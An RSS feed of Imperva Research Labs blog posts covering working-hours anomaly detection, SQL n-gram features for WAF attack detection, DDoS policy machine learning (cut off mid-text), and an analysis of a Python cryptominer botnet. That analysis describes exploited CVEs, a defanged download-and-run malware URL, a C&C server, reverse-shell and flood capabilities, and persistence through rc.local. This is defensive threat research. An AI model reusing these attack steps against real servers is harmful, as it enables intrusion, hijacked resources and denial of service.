<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Imperva Research Labs on Medium]]></title>
        <description><![CDATA[Stories by Imperva Research Labs on Medium]]></description>
        <link>https://medium.com/@impervaresearchlabs?source=rss-b9cef89720de------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*5dIJKkS5P2Th9BfaZMpSrg.png</url>
            <title>Stories by Imperva Research Labs on Medium</title>
            <link>https://medium.com/@impervaresearchlabs?source=rss-b9cef89720de------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 02:19:55 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@impervaresearchlabs/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How profiling employee working hours helps to detect security incidents]]></title>
            <link>https://impervaresearchlabs.medium.com/how-profiling-employee-working-hours-helps-to-detect-security-incidents-39d82d2a575f?source=rss-b9cef89720de------2</link>
            <guid isPermaLink="false">https://medium.com/p/39d82d2a575f</guid>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Imperva Research Labs]]></dc:creator>
            <pubDate>Thu, 02 Sep 2021 13:04:16 GMT</pubDate>
            <atom:updated>2021-09-02T13:04:16.362Z</atom:updated>
            <content:encoded><![CDATA[<p>Written By Adam Reichenthal</p><p>At the TimeMachine* company there are two special old friends Bob** and Alice**. Bob, as a team manager, usually has a very busy schedule filled with meetings all day long. You can even find him working late into the night trying to catch up on email he received during the day. Alice on the other hand, since she became a mom, has a more restricted time schedule with consistent office hours every day that work around her kid’s schedule.</p><p>Recently, the TimeMachine security team detected possible malicious software accessing and data theft from Alice’s laptop. The security team detected anomalies in the time of day at which data was being accessed by Alice’s laptop. Data attacks were being executed at 3:00 AM when Alice was home sleeping, not during her regular working hours. Furthermore, the security team reported the attacks tried to access sensitive database tables of the company that Alice neither has access to nor has ever tried to access before.</p><p>How did the security team know to accurately flag Alice’s laptop? The answer is based on the fact that companies are equipped with clever cyber security systems to protect their data from being stolen. These systems autonomously learn employees’ typical behavior. If there were a deviation from typical behavior later, the security team then raises doubt regarding truthful intent. With the combination of Machine Learning (ML), a process that identifies an anomaly in the time the data was accessed, and knowledge domain (i.e. what are the sensitive tables Alice’s laptop was trying to access) the system successfully detected a true attacker manipulating Alice’s laptop without her noticing it. In this post, we’ll focus on the anomaly in working hours detector to introduce how a rather simple, intuitive, and useful protection method can be a very effective tool for ensuring data security.</p><h3>What does it mean to work during non-working hours?</h3><p>Defining the working hours is not a trivial task. During COVID-19, the definition became even more complicated because of new “work from home” policies that many companies adopted which increased the flexibility to work at different hours for each employee.</p><p>Yet even in that state of “new normal”, people tend to have their daily routine which revolves around a consistent range of working hours. Hence, it is possible to define predictable work hours for individuals, and therefore when they would be likely to access data. A typical example would be working from morning until the afternoon and not working from evening until morning.</p><p>Once working hours intervals are established, it could be suspicious if someone would have worked during their typical non-working hours. It could be a result of an outsider hacker using a compromised employee’s credentials as happened to Alice, and it could even be that the employee himself has malicious intentions and is trying to keep a low profile by working during non-standard working hours.</p><p>Using knowledge about typical working and non-working hours of individuals and their peers and looking at the context, one could build a good understanding of how, when, and where an attack was likely to occur and reduce FP.</p><h3>Profiling working hours per group</h3><p>Before we can describe how a protection mechanism could be based on working hours anomalies, we need to determine the working hours.</p><p>It is natural to break down working hours to three logical groups:</p><h3>Global working hours</h3><p>Generally, people have a routine of working days and working hours. People tend to work five days a week from the morning and gradually leave in the afternoon as illustrated in Figure 1. Hence this group represents the standard working hours of the entire organization. Other macro events which relate to most of the workers such as holidays could also be noticed in such scale.</p><h3>Joint working hours</h3><p>It is possible to subgroup the organization due to the natural common features that exist between some workers. A natural group could include teammates, peers from different teams that work with each other on the same project and managers such as Bob who in the process of checking messages in the evening, may often need to access data to formulate responses. Groups could also evoke an “out of work” context, such as parents that tend to arrive at work early in the morning so they can leave relatively early during the day to pick up their kids from school as Alice does.</p><h3>Individual working hours</h3><p>Last, and not least, the highest resolution is to focus separately on each individual which describes each employee’s personal pattern of his work-life cycle.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BlGk-c6dlxU11dsB.png" /></figure><p><strong>Figure 1:</strong> Count of all employees actions per day and per hour in a certain company. As can be seen, during the weekend, Saturday and Sunday, the count is rare, and during the week people start working around 08:00 and gradually leave in the afternoon.</p><p>The first group is obtained by concerning all employees in the company where the last group is obtained per employee. The second group, however, needs some information to be obtained such as the Active Directory Department field if dividing by department. In cases where Active Directory data is missing, a ML clustering approach could be useful. For instance, measuring L1 distance between all individual’s working hours distributions and grouping whoever has short distances can help to find these sub-groups.</p><h3>Profiling working hours per time context</h3><p>Though it might seem useful to define as an outlier whoever works outside the main interval around the median of activity count, this binary clustering is too naïve and lacks resolution. For example, working at 2:00 AM or 3:00 AM might be equally suspicious, but if the latter case was to occur during Holiday Eve it would be more suspicious.</p><p>Hence, the context of the working hour could help to increase the security incident significance. Three context factors that could be taken into account to improve detection are:</p><h3>Weekends</h3><p>In most companies the assumption that on weekends there is less activity is true. We can measure the activity (Figure 2A) and by using unsupervised ML clustering methods we can define 2 subgroups of activity (Figure 2B) — low activity (red dots) and high activity (green dots). Last, under the assumption there are two days of weekend each week, we can define the weekends as the two sequential days that come every 5 days and have the least actions. This could be obtained by performing autocorrelation between the weekend vector (i.e. [1,1,0,0,0,0,0,1,1,0….]) and the activity vector and taking the highest result (Figure 2C). This will give the most aligned position between the vectors indicating when the weekends occur.</p><h3>Holidays / Fun company days outside the office</h3><p>After detecting the weekends which repeat constantly, each low activity dot (red) which is not a weekend can be considered as a holiday / fun day outside the office.</p><h3>Sleep time</h3><p>Under the assumption people sleep before they start their workday, the hours before are defined as sleep time. As an example, in Figure 3, 08:00–17:00 is the standard working hours interval. There is a drop off in working hours spread along the evening night but during 00:00 until 06:00 there is no activity and could be defined as the sleeping time of that individual.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DovS2YYYpNWhYRUG.png" /></figure><p><strong>Figure 2:</strong> Unsupervised learning helps to detect weekends and holidays. <strong>A.</strong> Per day we count the number of all actions by all employees in the company. <strong>B.</strong> Using K=2 means, we detect two groups — one with low count of actions (red dots) and second with high count of actions (green dots). <strong>C.</strong> Taking the highest result of an autocorrelation between a weekend vector i.e. [1,1,0,0,0,0,0,1,1,0….] and the low activity vector (red dots in B) we can detect the weekends. Each future data point which is not a weekend but has a similar activity count as the low count group (i.e. beneath black dashed line in B) is considered a holiday/fun company days outside the office.</p><h3>Detection Approach</h3><p>Equipped with the ability to track each employee’s working hours and knowledge of non-standard working hours per group (global, joint, individual) and per context (weekends, holidays/fun company days outside the office, sleep), we can combine all to detect per employee per hour suspicious working hours. By giving a different severity to each interval violation we can detect the most suspicious working out of hours per employee and alert when there is a significant anomaly in the expected and presumably standardized working hours as shown in Figure 3 by the red dot. We would like to emphasize that this detector tells one side of the story and an alert should be supported with additional information such as the attempt to approach sensitive tables in Alice’s case. We will address this point next.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*pCm3NTvzMJn3TZZL.png" /></figure><p><strong>Figure 3:</strong> An example of an individual working hours mapped on defined working and non-working hours intervals. Y-axis indicates the hour of the day and x-axis indicates the date. Blue dots — indicate there was an activity, gray squares — indicates individual, joint and global working hours, red squares — indicates individual non-working hours, green squares — represents global non-working hours, yellow squares — represents the conjunction of global and joint non-working hours, black squares — represents the conjunction of individual, joint and global non-working hours, solid black lines indicate weekend days and blue solid lines indicate holidays (here 4th of July). The activity on the 30–06–2019 at 23:00 (red dot) is the most suspicious hour since the employee worked during a late Sunday night though usually, he does not work during weekends or holidays.</p><h3>Joint indicators as a complete system</h3><p>It is intuitive that when someone is working out of expected working hours, we should open an eye. By profiling the working hours per group (global, joint, individual) and per context (weekends, holidays/fun company days outside the office, sleep) we are able to detect a significant working out of hours activity.</p><p>However, chances are that anomalies in working out of hours will occur from time to time. For instance, an anomaly occurred when Alice had to work late one night to prepare for her first presentation on a new initiative she developed. Another false positive occurred when Bob decided to skip his Wednesday morning yoga and begin working instead. Furthermore, a data breach could happen at any time of the day, so we cannot in principle count on working hours detection alone. Hence, such anomaly detection in working hours should serve as a recommendation to help strengthen a suspicion and not solely trigger an alarm.</p><p>As an example for the above, <a href="https://www.imperva.com/products/data-risk-analytics/">Imperva’s DRA</a> (Database Risk Analytics) is a cyber security system that takes many factors into account and by using a sophisticated risk analytics platform, it analyzes employees activity to provide insight about security risks. Working out of hours detection is one of the many security incidents the system is able to detect and as more insights trigger off the probability for an actual attack raises and helps the SOC team to decide what action should be taken.</p><p>* Not a real company<br> ** Not real people</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=39d82d2a575f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Fast, Effective N-grams Extraction and Analysis with SQL]]></title>
            <link>https://medium.com/imperva-research-labs/fast-effective-n-grams-extraction-and-analysis-with-sql-97e137018395?source=rss-b9cef89720de------2</link>
            <guid isPermaLink="false">https://medium.com/p/97e137018395</guid>
            <dc:creator><![CDATA[Imperva Research Labs]]></dc:creator>
            <pubDate>Thu, 20 May 2021 13:22:25 GMT</pubDate>
            <atom:updated>2021-05-20T13:23:32.868Z</atom:updated>
            <content:encoded><![CDATA[<p>Written by <a href="https://medium.com/u/443312affa1d">Ori Nakar</a> &amp; <a href="https://medium.com/u/c91d191baddc">Matan Lion</a></p><p>Features extraction is expensive, especially when dealing with big data. That’s why it’s great when you have the ability to preprocess close to the database — the data stays in the DB and doesn’t have to move out, unless necessary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/0*_2LIJu1eWkM8lRMa.png" /></figure><p>One common approach for text data representation is N-grams. N-grams are a contiguous sequence of N items, such as words or characters, extracted from a given corpus. In this blog, we will present, step-by-step, a simple method for characters n-grams extraction, selection, and evaluation using SQL only. Here are the main steps:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/0*NuhtYOeZtyIEQqq_.png" /></figure><p>Once n-grams are selected and evaluated they can be integrated as part of different text mining and Natural Language processing tasks. Read more to understand how to speed up those tasks and how SQL can be facilitated in choosing the best n-grams for your model.</p><h3>N-gram Extraction</h3><p>We are using Presto as our big-data query engine, which supports word n-gram processing as part of its <a href="https://prestodb.io/docs/current/functions/array.html">array functions</a>. By the way, if you’re using different SQL flavor — don’t you worry — the functions we are using are quite common. What we couldn’t find is a way to process character n-grams. A way to slice a string was also not available. Although it’s pretty safe to assume that more advanced built-in functions, such as the above, will be added to big-query engines, it’s really great to discover that what’s missing could be added with just few lines of code:</p><pre>-- get the list of 4-grams from a text field<br>WITH ngrams_arr AS (<br> SELECT CONCAT(<br>          REGEXP_EXTRACT_ALL(text_field, &#39;....&#39;),<br>          REGEXP_EXTRACT_ALL(SUBSTRING(text_field, 2), &#39;....&#39;),<br>          REGEXP_EXTRACT_ALL(SUBSTRING(text_field, 3), &#39;....&#39;),<br>          REGEXP_EXTRACT_ALL(SUBSTRING(text_field, 4), &#39;....&#39;)<br>        ) AS ngrams_arr,<br>        COUNT() AS hits<br> FROM my_table<br> WHERE LENGTH(text_field)&gt; 4<br> GROUP BY text_field),<br> <br>-- group the ngrams and find the top 10k according to hits<br>ngrams AS (<br> SELECT ngram, COUNT(1) AS records, SUM(hits) AS hits<br> FROM ngrams_arr CROSS JOIN UNNEST (ngrams_arr) AS t(ngram)<br> GROUP BY ngram<br> ORDER BY hits DESC<br> LIMIT 10000)</pre><p>Pretty simple, right? Let’s have a look at the first query named ngrams_arr. We extracted all 4-grams combinations from the corpus (text_field column in my_table table) by, first, removing duplicates using grouping, second, limiting to only N+1 sized instances, and lastly listing all n-grams by repeating the Regex extraction function N (=4) times and readjusting the extraction starting index by one using the Substring function. To enrich the distinct N-grams listed, we’ve added the hits column which counts the number of occurrences of the distinct n-grams array. Note that the hits is just an example and can be replaced or added with any other statistical measure.</p><p>Then, in the second query named ngrams we simply extract the distinct n-grams arrays into single n-grams and aggregate the statistical measurement results from the first query, in this case hits. Meaning, for every n-gram, we count the total number of hits in the corpus, by summing the hits of every distinct n-grams array including the n-gram in the corpus.</p><p>The result is a list of n-grams and their corpus hits. More information can be included like the number of records in which the n-gram was found and more. Here is a result example found in remote execution attacks:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/0*AzXsmFiVDQaD362d.png" /></figure><p>As you can see in the result “/etc/passwd” is a very common phrase in such attacks.</p><h3>N-grams Selection</h3><p>Next, the best N-grams are chosen by tuning and testing the previous N-grams Extraction query on different hyperparameter values, including different corpus examples and N-gram size.</p><p>Let’s explain this concept using a real world problem. <a href="https://www.imperva.com/products/web-application-firewall-waf/">Imperva’s Web Application Firewall</a> (WAF) monitors web applications traffic and logs statistics regarding identified attacks and legitimate traffic. Billions of HTTP requests are logged and analyzed daily. To find the best n-grams candidates for attacks detection tasks we do the following:</p><ol><li>Define the N-grams Extraction query hyperparameters</li><li>Calculate the top hit legit n-grams by executing the N-grams Extraction query on Clean Traffic statistics.</li><li>Calculate the top hit malicious n-grams by executing the N-grams Extraction query on Attack Traffic statistics.</li><li>Conclude top meaningful n-grams by subtracting top hit malicious n-grams which are unlikely to occur in clean traffic.</li></ol><p>The described selection method can be be easily executed as following:</p><pre>WITH attack_ngrams AS (<br> -- extract attacks ngrams ...),<br>clean_traffic_ngrams AS (<br> -- extract clean traffic ngrams ...)<br>SELECT attacks.ngram, attacks.hits<br>FROM attack_ngarms INNER JOIN clean_traffic_ngrams ON attack_ngarms.ngram = clean_traffic_ngrams.ngram<br>ORDER BY attack_ngarms.hits / clean_traffic_ngrams.hits DESC<br>LIMIT 1000</pre><p>Below is an example result for the above selection method, where the last column represents the ratio between clean and attacks traffic, the higher the more meaningful the n-gram could be:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/0*Bj1o0VXHPlr8oMrO.png" /></figure><p>Note that this is just one example of n-grams selection. Another selection method to consider in web traffic could be based on, for instance, on extracting more features per n-gram like the number of different payloads (entire text field), or the number of protected sites the n-gram included in.</p><p>There are many more methods that could be used for n-grams selection and representation, including common methods like <a href="https://en.wikipedia.org/wiki/Tf%E2%80%93idf">TF-IDF</a>, and other custom selection logics that would best fit your needs. You don’t have to choose one in advance — grab a few, compare and select to the best choice.</p><h3>N-grams Evaluation</h3><p>Once n-grams have been extracted, in our use case HTTP attacks n-grams, and selection methods have been chosen, the top n-grams can be evaluated on a validation set as follows:</p><h3>Qualitative Evaluation</h3><p>Retrieving validation data entries, not used for selection, including the extracted n-grams and exploring the results. You can use the following query to see your n-grams in action:</p><pre>chosen_ngrams_arr AS (<br> SELECT ARRAY_AGG(ngram) AS ngrams_arr<br> FROM chosen_ngrams)<br>SELECT text_field, FILTER(ngrams_arr, x -&gt; POSITION (x IN text_field) &gt; 0)<br>FROM my_table CROSS JOIN chosen_ngram_arr<br>LIMIT 100</pre><p>Here are results example from our WAF dataset:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/0*Iutf_5fY-Ylarl0M.png" /></figure><p>Also, to zoom out a bit from the payloads perspective, we grouped the n-grams and ran evaluation on both attacks and clean traffic. Below are the results as a heatmap for some popular keywords:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/0*YShzVKwLaQut0XnI.png" /></figure><p>As expected, the n-grams are rare in clean traffic, and very common in attacks.</p><h3>Quantitative Evaluation</h3><p>By comparing different n-grams selection experiments, calculating the n-grams correlation with the validation data and choosing the best option.</p><pre>SELECT ANY_MATCH(ngrams_arr, x -&gt; POSITION (x IN text_field), COUNT(1) AS hits<br>FROM my_table CROSS JOIN ngram_arr<br>GROUP BY 1</pre><p>Note: If you are using AWS Athena please note that ANY_MATCH function is not supported at the moment. You can use CARDINALITY(FILTER(..)) &gt; 0 instead.</p><p>When we evaluated our selected n-grams on clean traffic and attacks, we got the following experiment results:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/0*0E7nyUnnr1POpExC.png" /></figure><p>This means it is much more likely to find the n-grams we selected in attacks payloads, as expected. Running experiments on different extraction and selection methods allows us to empirically compare our different n-grams and choose the best option. Here is an example for two experiments results (exp1 and exp2), sharing the same section method:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/0*cktuIbqqrg9tj3B5.png" /></figure><p>You can define your own comparison measurements, which will help you get to the n-grams you want.</p><h3>N-grams to feature vectors</h3><p>If you want to leverage the chosen N-grams from the previous steps as a feature vector to any future data problem, one possible way would be to one hot encode the N-grams per entry.</p><p>First, follow the SQL trick of extracting the selected N-grams from the data entries. Then the data is loaded to a pandas dataframe. Your dataframe should have a column with the extracted ngrams. Then, to encode and normalize the results, use pandas <a href="https://pandas.pydata.org/docs/reference/api/pandas.DataFrame.explode.html">explode</a> and <a href="https://pandas.pydata.org/docs/reference/api/pandas.get_dummies.html">get_dummies</a> functions:</p><pre>encoded_df = get_dummies(df[&quot;extracted_ngrams&quot;].explode(), dtype=bool).max(level=0)</pre><p>Assuming you have significant amount of data and you preprocess your dataframe entries in batches, make sure your chunks are consistent by using the <a href="https://pandas.pydata.org/docs/reference/api/pandas.DataFrame.reindex.html">reindex</a> function with your model’s N-grams list: enc_df = enc_df.reindex(columns=ngrams_list, fill_value=False, copy=False)</p><pre>enc_df = enc_df.reindex(columns=ngrams_list,fill_value=False, copy=False)</pre><p>Here is an example input and output data, for the following 1-gram list: a, b, c, d:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*j-RGqSvBf-6YTnkVTGF0CQ.png" /></figure><p>Python and specifically pandas in this case is used for encoding only, while the query engine is used for the heavy lifting — processing the large text data.</p><h3>Takeaway</h3><p>N-gram is one common and effective feature extraction approach used for text data representation and as a basis for many machine learning algorithms. When dealing with big data and when multiple trials and errors require, feature extraction in general, and N-gram as a specific use case, could be done close to the database to optimize processing and cost reduction.</p><p>In this blog we show that analyzing, experimenting and preprocessing N-grams for any use could be done effectively and easily when using SQL, and allows you to utilize the query engine as the first point of contact with the dataset. You can try it by simply running an SQL query.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=97e137018395" width="1" height="1" alt=""><hr><p><a href="https://medium.com/imperva-research-labs/fast-effective-n-grams-extraction-and-analysis-with-sql-97e137018395">Fast, Effective N-grams Extraction and Analysis with SQL</a> was originally published in <a href="https://medium.com/imperva-research-labs">Imperva Research Labs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Python Cryptominer Botnet Quickly Adopts Latest Vulnerabilities]]></title>
            <link>https://medium.com/imperva-research-labs/python-cryptominer-botnet-quickly-adopts-latest-vulnerabilities-eb529252e4a2?source=rss-b9cef89720de------2</link>
            <guid isPermaLink="false">https://medium.com/p/eb529252e4a2</guid>
            <category><![CDATA[cryptominig]]></category>
            <category><![CDATA[botnet]]></category>
            <category><![CDATA[ddos]]></category>
            <dc:creator><![CDATA[Imperva Research Labs]]></dc:creator>
            <pubDate>Wed, 20 Jan 2021 09:31:07 GMT</pubDate>
            <atom:updated>2021-01-20T09:31:07.927Z</atom:updated>
            <content:encoded><![CDATA[<p>Written By <a href="https://medium.com/u/e2c23e55171c">Shiran Bareli</a></p><p>Over the last few days, Imperva researchers have monitored the emergence of a new botnet, one whose primary activity is performing different DDoS attacks and mining cryptocurrency. It also acts as a worm trying to extend its reach by scanning specific subnets and ports and using different remote code execution (CVE) vulnerabilities in an effort to infect them.</p><p>This particular botnet attack is unique given its rapid exploitation of the latest web vulnerabilities as a way to extend its reach and size.</p><p>The first recorded attack attempt took place on January 8. Since then, we’ve seen hundreds of attacks from many different IPs.</p><p>The captured attacks seem to take advantage of some of the most recently published RCE vulnerabilities. For example:</p><p>A deserialization vulnerability in Zend Framework (known as CVE-2021–3007) that was published only 4 days before the first incident!</p><p>A TerraMaster unauthenticated command-execution vulnerability (known as CVE-2020–35665)</p><p>The deserialization of Untrusted Data in Liferay Portal (known as CVE-2020–7961)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*R3wvY8kXB8ZASlNBZcQ8Ow.png" /></figure><h3>How does the botnet spread?</h3><p>One of the attack vectors that has been captured is the TerraMaster unauthenticated command-execution vulnerability (CVE-2020–35665), first published in late December 2020. We’ve monitored exploits attempts since it was published, expecting to see an increase in the amount of attack attempts of this kind weeks after discovery. But, we noticed the numbers have grown significantly as of January 8, even more than expected.</p><p>In this case, the tool tries to access a specific URL using the “Event” parameter. The vulnerability allows the attacker to pipe a bash command that downloads and runs a Python malware from hXXp://gxbrowser[.]net[/]out[.]py.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*EIXdF342JGf66BBFN3qybA.png" /></figure><h3>Python Malware Drilldown</h3><p>The malware itself is highly obfuscated and contains, as mentioned, different kinds of capabilities: scanning, botnet attacks, C&amp;C communication and spreading to new targets.</p><p>First, we can see that this tool has scanning ability in ports 80, 443, 8443 and 8080:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/484/1*fnC2AszqgPdBIelzvr_rVg.png" /></figure><p>In addition, the tool uses various User-Agent for the scanning and generating HTTP requests.</p><p>In addition, we can see the C&amp;C IRC-based communication with the server (gxbrowser.net:6667).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*_fdD0d3cS_QB53s7-A76gQ.png" /></figure><p>All of the C&amp;C commands are listed below. They contain different commands to perform reconnaissance, different types of network floods, network amplification, shell/reverse shell, stop/start process and connection commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*tS9Uw_rr-Pjgjb9RXiqfSQ.png" /></figure><p>When you look closely at the code, you can see indications of various flood attack capabilities such as UDPflood, SYNflood, TCPflood, HTTPflood and Slowloris.</p><p>You can see this illustrated in the code below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*xCa2kRYNC5gauY0IH1ZEOw.png" /></figure><p>Besides the flood capabilities, the malware also has crypto-miner capabilities. As shown in the figure below, the malware exploits the new <strong>Zend Framework vulnerability</strong> (CVE-2021–3007) to run XMRig, a crypto-mining tool that uses the attacked machine resources to mine digital currency.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*OvWgm_YdbBMszRAuG9Y_Cg.png" /></figure><p>The malware also tries to get a persistent foothold by adding the Python script inside with boot.py to the rc.local file, so it can run after reboot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*VLJa5PhuT4EtST5VvBPJcw.png" /></figure><h3>Attack Surface</h3><p>Imperva Research Labs has discovered more than 100 attack attempts on our customers. However, we believe the attack surface for this particular threat is much bigger than we’d usually see. Rough estimation based on public facing servers shows more than 10,000 potential victims.</p><p>This is a very interesting and unique case of a complex botnet attack that quickly exploits the latest published vulnerabilities. It requires us, as part of the security community, to act faster than ever before.</p><h3>Imperva Customers Protected</h3><p>Imperva Web Application Firewall (WAF) customers were protected from this attack due to our RCE detection rules, although the attack vector is new and exploits the latest vulnerabilities.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eb529252e4a2" width="1" height="1" alt=""><hr><p><a href="https://medium.com/imperva-research-labs/python-cryptominer-botnet-quickly-adopts-latest-vulnerabilities-eb529252e4a2">Python Cryptominer Botnet Quickly Adopts Latest Vulnerabilities</a> was originally published in <a href="https://medium.com/imperva-research-labs">Imperva Research Labs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lessons learned building supervised machine learning into DDoS Protection]]></title>
            <link>https://medium.com/imperva-research-labs/lessons-learned-building-supervised-machine-learning-into-ddos-protection-7daf4263480f?source=rss-b9cef89720de------2</link>
            <guid isPermaLink="false">https://medium.com/p/7daf4263480f</guid>
            <category><![CDATA[ddos]]></category>
            <category><![CDATA[machine-learning]]></category>
            <category><![CDATA[ddos-protection]]></category>
            <category><![CDATA[supervised-learning]]></category>
            <dc:creator><![CDATA[Imperva Research Labs]]></dc:creator>
            <pubDate>Tue, 22 Dec 2020 07:58:11 GMT</pubDate>
            <atom:updated>2020-12-22T07:58:11.805Z</atom:updated>
            <content:encoded><![CDATA[<p>Written by <a href="https://medium.com/u/b10f9ebb5730">Johnathan Azaria</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/0*IN1l1IyIXDG1WVaL.jpg" /></figure><p>Imperva’s Data Scientists trained a machine-learning model to auto-configure DDoS security policies and this blog shares some of the lessons learned along the way.</p><p>Data scientists consider labeled data the gold standard and, despite having to filter out anomalies, there is an overall tendency to trust it. In training a supervised machine learning model that auto-configures security policies and working closely with the experts the model was imitating, we learned many lessons about the many biases contained in man-made labels, and how to account for them.</p><h3>The problem</h3><h3>Security policy 101</h3><p>The problem statement was to auto-create security policies for network DDoS protection. Every protected IP range has a unique security policy based on its traffic, which is crucial for the successful mitigation of network DDoS attacks because it defines:</p><ul><li>the ‘normal’ amount of traffic</li><li>the risk level for traffic over the normal amount</li><li>the mitigation protocol to be activated at different risk levels</li></ul><p>For years, our experts — the Security Operations Center (SOC) engineers — have been responsible for configuring security policies by familiarizing themselves with the system through trial and error.</p><p>As talented and hard-working as these engineers might be, the growing number of customers and ranges in play means we are slowly, but surely, reaching a point where manual intervention just doesn’t scale.</p><p>And it’s not only new security policies that require attention. Network traffic is a living thing that tends to change with time. It grows as more users register to a web service, and it can shift when a site goes global or offers new services. Since the COVID-19 outbreak, we’ve seen traffic patterns change significantly as companies adopted work-from-home policies and started relying heavily on video conferencing apps. This created a demand for more manpower to provide the optimal protection.</p><p>Finally, with so many policies being created and maintained manually, the risk of human error is always there.</p><h3>Creating a security policy</h3><p>Our experts commonly create and update security policies by visually inspecting an IP range’s time series traffic and figuring out the traffic’s pattern. Once they figure out the pattern, they set multiple thresholds, each one indicating the risk level and the corresponding mitigation protocol to be used.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*E3-wpXvyQTb3gua8.png" /></figure><p>This process is performed for <strong>multiple</strong> protocols and ports; each one gets its own set of thresholds. As you can see, this process is very time-consuming and requires a lot of focus to ensure all thresholds are accurate.</p><h3>Machine Learning For The Win</h3><p>As you might have guessed, we solved this problem by creating an ML model that uses time series traffic to predict an IP range’s security policy.</p><p>Despite the many obstacles we came up against, the process was actually quite simple:</p><ol><li>Collect time series traffic from IP ranges per communication protocol</li><li>Extract features from the time series traffic</li><li>Use each IP range’s corresponding security policy, predefined by our experts, as a label</li><li>Train and deploy the model</li></ol><p><strong>Surprisingly, training a great high-performance model was actually the easy part. In fact, it was the only easy part.</strong> There were obstacles to overcome every step the way, and we learned many valuable lessons in the process.</p><h3>Data collection</h3><p>Our initial thought was to create a labeled data set by simply collecting time series traffic from IP ranges and coupling them with their corresponding security policies to serve as labels. Sounds simple, right? As you might guess, it wasn’t.</p><h3>Lesson 1: Get your experts closer to the data</h3><p><strong>Data freshness:</strong></p><p>As time goes by, data starts to rot and lose context. When our experts update a security policy, they can look back at up to three months of traffic to understand the traffic’s pattern. However, it’s impossible to know simply by examining a security policy, which time frame was used by our experts to configure it.</p><p>We solved this problem by creating an automatic data collection process. Every time an expert updated a security policy, it would trigger a process to capture the timeframe used by the expert, couple it with the updated security policy and save it to our database. This helped us create a DB of reliable training examples that would stay relevant forever.</p><p><strong>Special / edge cases</strong></p><p>Filtering your training data by removing anomalies can make a big difference in the model’s performance, although spotting these anomalies isn’t always easy. In our case, some security policies were tailored to the customer’s requirements. For example, some customers have backup ranges — ranges that are “off” and have no traffic, but are set in place just in case something happens to the main IP range. Backup ranges have a security policy that reflects the main IP range’s traffic, i.e. their potential traffic, rather than the actual traffic flowing through them.</p><p>We solved this by allowing our experts to provide feedback while adjusting security policies via a quick questionnaire. We used this feedback to map all the different cases the model might encounter, and set a solution in place.</p><p><strong>Simplify the data</strong></p><p>Encourage your experts to work on the raw data. The traffic dashboards which our experts rely on to create security policies are aggregated and smoothed, as is customary, to give a better picture of the traffic’s trends. However, this means there’s a mismatch between the data our experts work on and the raw data used by our machines to perform DDoS mitigation. Our experts know how to bridge this gap using their previous knowledge of the range, combined with an array of additional sensors such as logs and alerts, but passing this knowledge on to a model isn’t easy or scalable. Instead of presenting our experts with smoothed time series dashboards, and relying on their ability to bridge the gap, we have created an alternative dashboard that presents the raw data. This simplified our data and allowed us to create a simple, straightforward and explainable model,, because once our experts were presented with raw data they didn’t need any previous knowledge or additional sensors in order to set the best security policy.</p><h3>Training and validating</h3><p>Now that we have our dataset, what’s next?</p><p>We preprocessed our training data set by performing feature extraction on the time series traffic, selecting the best features, and coupling them with their corresponding security policy. Once we started exploring this data, before feeding it to the model, we discovered additional problems with our labels which we had to solve.</p><h3>Lesson 2: Human experts are still human</h3><p><strong>Heterogeneous labels:</strong></p><p>When asked to spot if there’s a car in a picture, most humans will probably give the same answer. However, if you ask them to estimate the car’s age you might get a range of different answers to the same question.</p><p>We encountered this precise issue with our data, when, given the same dataset, our experts produced different security policies. We decided to solve this problem by leveraging a cognitive bias known as <strong>Anchoring</strong> which means that when initial information is presented to an individual, it serves as an anchor causing all future decisions and estimations to happen in relation to that initial information.</p><p>During the training and deployment process, using <strong>Anchoring</strong> meant that when an 